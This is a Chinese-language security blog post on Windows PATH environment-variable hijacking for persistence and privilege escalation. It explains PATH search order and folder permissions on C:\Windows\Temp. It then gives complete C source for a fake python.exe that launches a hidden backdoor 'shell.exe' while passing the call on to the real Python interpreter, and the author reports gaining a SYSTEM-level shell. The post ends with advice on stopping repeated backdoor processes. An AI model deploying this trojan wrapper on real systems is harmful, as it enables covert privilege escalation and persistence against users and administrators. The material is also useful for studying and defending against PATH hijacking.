windows环境变量滥用维权/提权

0x01 前提

通过滥用系统的路径搜索机制来欺骗高权限用户执行看似合法的系统二进制文件,实际上是恶意的代码或程序,从而导致升权限并执行恶意操作。

攻击的关键前提:

  1. 路径搜索顺序: 当用户在命令行或程序中执行一个命令时,系统会在环境变量$PATH定义的路径列表中搜索要执行的程序。它将从列表中的第一个路径开始搜索,然后按顺序继续搜索,直到找到匹配的程序。

  2. 权限限制: 用户权限的差异是这种攻击的基础。攻击者通常需要两类用户:

    • 低权限用户(M): 拥有较低权限,只能访问和写入特定文件夹,例如c:\temp。

    • 高权限用户: 拥有系统管理员或其他高权限角色,能够执行敏感的系统命令和操作。

  3. 环境变量设置: 攻击者需要控制或能够修改低权限用户(M)的环境变量设置,尤其是$PATH变量。

0x02 原理分析

原理是利用操作系统环境变量设置的弱点来欺骗高权限用户执行恶意代码,从而实现权限提升。

正常情况系统的环境变量是从c:\Windows\system32开始遍历,如下所示:

图片

但是,当存在于环境变量的路径在c:\Windows\system32之前,并且可由低权限用户 (M) 修改的时候,就会造成环境变量的滥用,例如(c:\Windows\temp变量路径滥用):

图片

并且查看文件夹访问权限,是可以用户修改的,查询如下:

图片

  • BUILTIN\Users:内置的用户组 “Users” 有以下权限:(CI):容器内项目,(S):同步访问,(WD):写入数据,(AD):添加数据,(X):执行文件。这意味着”Users”组可以读取、写入、添加、执行该文件夹内的项目。

  • BUILTIN\Administrators:内置的管理员组 “Administrators” 有:(F):完全控制权限。这意味着管理员可以完全控制该文件夹,包括修改权限。

  • NT AUTHORITY\SYSTEM:系统账户有:(F):完全控制权限。这允许系统账户对文件夹拥有完全控制。

  • CREATOR OWNER:文件或文件夹的创建者有:(OI)(CI)(IO)(F):对象的所有权,容器和继承的所有权,对象的访问权限,完全控制权限。这使得文件或文件夹的创建者拥有完全控制权限。

  • SAEDYQJKFJNNOFS\camer:用户”camer”有:(OI)(CI)(F):对象的所有权,容器和继承的所有权,完全控制权限。

当用户将恶意程序放在c:\Windows\temp目录下的时候,正常用户无论是Administrator还是SYSTEM调用,都会优先执行恶意程序,例如劫持的是cmd.exe,如下会被劫持执行计算器,如下所示:

图片

0x03 利用思路

实际利用的时候还存在一个巨大的缺陷,就是系统核心命令使用了一个称为“系统目录优先级”的机制,即使你在环境变量中指定了其他目录,系统仍然会首先搜索系统目录(通常是C:\Windows\system32)中的可执行文件,以确保系统的稳定性和安全性。

所以说只能接劫持利用python、java、gcc等用户环境的环境变量滥用,才能实际利用。

恶意程序如下(劫持的python.exe):

#include <windows.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
      // 恶意程序
    wchar_t* Shell = L"C:\\Windows\\Temp\\shell.exe";

    HINSTANCE hInstance1 = ShellExecuteW(NULL, L"open", Shell, NULL, NULL, SW_HIDE);

      // 保证python程序能够正常执行
    if (argc >= 2) {
        const char* pythonPath = "C:\\Users\\camer\\AppData\\Local\\Programs\\Python\\Python39\\python.exe";

        // 构建调用Python脚本的命令
        char pythonCommand[4096]; // Increased buffer size to accommodate more arguments
        snprintf(pythonCommand, sizeof(pythonCommand), "%s %s", pythonPath, argv[1]);

        // 将额外的参数添加到 Python 命令中
        for (int i = 2; i < argc; ++i) {
            strcat(pythonCommand, " ");
            strcat(pythonCommand, argv[i]);
        }
        // 调用Python脚本
        system(pythonCommand);
    }
    return 0;
}

假设用户要使用管理员权限执行python文件,调用python执行命令(python文件随便让GPT生成的):

python 1.py greeting morning

图片

执行成功会发现正常运行输出,但是实际后台执行恶意程序并上线成功,并且具有SYSTEM权限的,如下所示:

图片

0x04 思考总结

普通用户权限调用python也会上线,并且最好shell添加防止进程多开的功能,不然后台容易都是马。

 声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

免费领取安全学习资料包!


渗透工具

技术文档、书籍

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

应急响应笔记

学习路线

  • 18
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值